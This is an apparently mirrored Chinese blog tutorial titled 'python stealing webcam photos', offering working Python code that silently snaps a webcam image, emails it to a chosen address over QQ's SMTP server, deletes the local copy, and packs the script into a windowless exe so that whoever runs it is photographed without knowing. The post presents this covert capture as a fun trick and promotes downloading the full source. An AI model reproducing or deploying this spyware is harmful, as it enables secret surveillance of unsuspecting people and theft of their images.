zoukankan      html  css  js  c++  java
  • python窃取摄像头照片(摄像头拍照+邮箱发送+打包exe)

    一、思路

    1.python调用摄像头拍照

    python可以调用电脑的摄像头进行拍照,然后保存照片。

    2.发送照片到指定邮箱

    通过QQ邮箱官方网站获取授权码方法,将照片发送到指定的邮箱。最后将本地的照片删除。

    3.python程序打包成exe可执行文件

    借助pyinstaller库,py打包成exe,这样就可以在没有python环境的pc机上执行程序。

    二、代码

    1.python调用摄像头拍照

    所需库

    import os                                       
    # 删除图片文件
    import cv2                                      
    # 调用摄像头拍摄照片
    

    代码

    # 调用摄像头拍摄照片
    def get_photo():
        # 开启摄像头
        cap = cv2.VideoCapture(0)           
        # 将摄像头中的一帧图片数据保存
        f, frame = cap.read()      
        # 将图片保存为本地文件
        cv2.imwrite('image.jpg', frame)    
        # 关闭摄像头
        cap.release()
    

    通过get_photo函数可以实现调用摄像头拍照,并保存照片为image.jpg

    2.发送照片到指定邮箱

    获取邮箱授权码

    步骤一:登录邮箱->设置->账户

    步骤二:找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务】,先开启,再点击【生成授权码】,如下图所示

    步骤三:生成的结果如下:

    所需库

    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.mime.image import MIMEImage
    

    代码

    # 把图片文件发送到我的邮箱
    def send():
        sender = '发件人邮箱'
        receivers = '收件人邮箱'
        message =  MIMEMultipart('related')
        subject = '公众号:Python爬虫数据分析挖掘'
        message['Subject'] = subject
        message['From'] = sender
        message['To'] = receivers
        content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
        message.attach(content)
    
    
        file=open("image.jpg", "rb")
        img_data = file.read()
        file.close()
    
    
        img = MIMEImage(img_data)
        img.add_header('Content-ID', 'imageid')
        message.attach(img)
    
    
        try:
            server=smtplib.SMTP_SSL("smtp.qq.com",465)
            server.login(sender,"发件人的邮箱授权码")
            server.sendmail(sender,receivers,message.as_string())
            server.quit()
            print ("邮件发送成功")
        except smtplib.SMTPException as e:
            print(e)
    

    这里响应填写三部分内容:1、发件人邮箱,2、收件人邮箱,3、发件人的邮箱授权码

    发送照片到邮箱之后,删除本地image.jpg

    os.remove('image.jpg') #删除本地照片
    

    3.python程序打包成exe可执行文件

    所需库

    pyinstaller
    

    3.1、安装pyinstaller

    ###方法一
    pip install pyinstaller
    ###方法二
    pip install -i https://pypi.doubanio.com/simple/ pyinstaller
    

    如果觉得方法一安装慢,可以选择方法二。

    3.2、打包exe程序

    打开DOS窗口,输入命令:

    pyinstaller -F -w *.py(星号是.py的全部路径)

    pyinstaller -F -w  C:UsersAdministratorDesktop110main.py
    

    出现这个图,表示打包成功,打包好的exe文件存放在红框显示的路径中


    这样我们的main.py程序就已经成功打包成exe可执行文件了。

    三、效果演示

    双击打开main.exe文件

    程序运行后就自动退出,这样我们的邮箱就收到了照片(这个照片是当前打开这个exe文件人的真实照片)

    这里就直接戴口罩去测试程序了(不好意思露面,哈哈哈)

    可以看到我们的邮箱就收到了这一张图片,是不是觉得很神奇

    四、结尾

    以上就是python窃取摄像头照片(摄像头拍照+邮箱发送+打包exe)的全部内容,完整源码main.exe这两个文件已经上传到公众号,需要的小伙伴可以去领取。

    本文完整源码获取方式

    公众号回复:摄像头拍照

    ------------------- End -------------------

    30行爬虫代码实现中英互译


    分析B站《送你一朵小红花》弹幕评论

    4个小时我赚了600块

    加群获取学习资料

    公众号回复:人群

    欢迎大家点赞,留言,转发,转载,感谢大家的相伴与支持

    想加入Python学习群请在后台回复【入群

    万水千山总是情,点个【在看】行不行

     
    【加群获取学习资料QQ群:901381280】
    【各种爬虫源码获取方式】
    识别文末二维码,回复:爬虫源码
    欢迎关注公众号:Python爬虫数据分析挖掘,方便及时阅读最新文章
    回复【开源源码】免费获取更多开源项目源码
    

    ÃÃæÃÃìÃÃâÃÃèÃÃÿÃÃæÃÃëÃÃçÃÃà

  • 相关阅读:
    JMX rmi的一些问题
    hdu 1022 Train Problem I
    大学的英文名及缩写
    大学的英文名及缩写
    围棋术语
    围棋术语
    走遍美洲 —— 加勒比海
    走遍美洲 —— 加勒比海
    图像处理与计算机视觉的论文创新点总结
    图像处理与计算机视觉的论文创新点总结
  • 原文地址:https://www.cnblogs.com/chenlove/p/14264705.html
Copyright © 2011-2022 走看看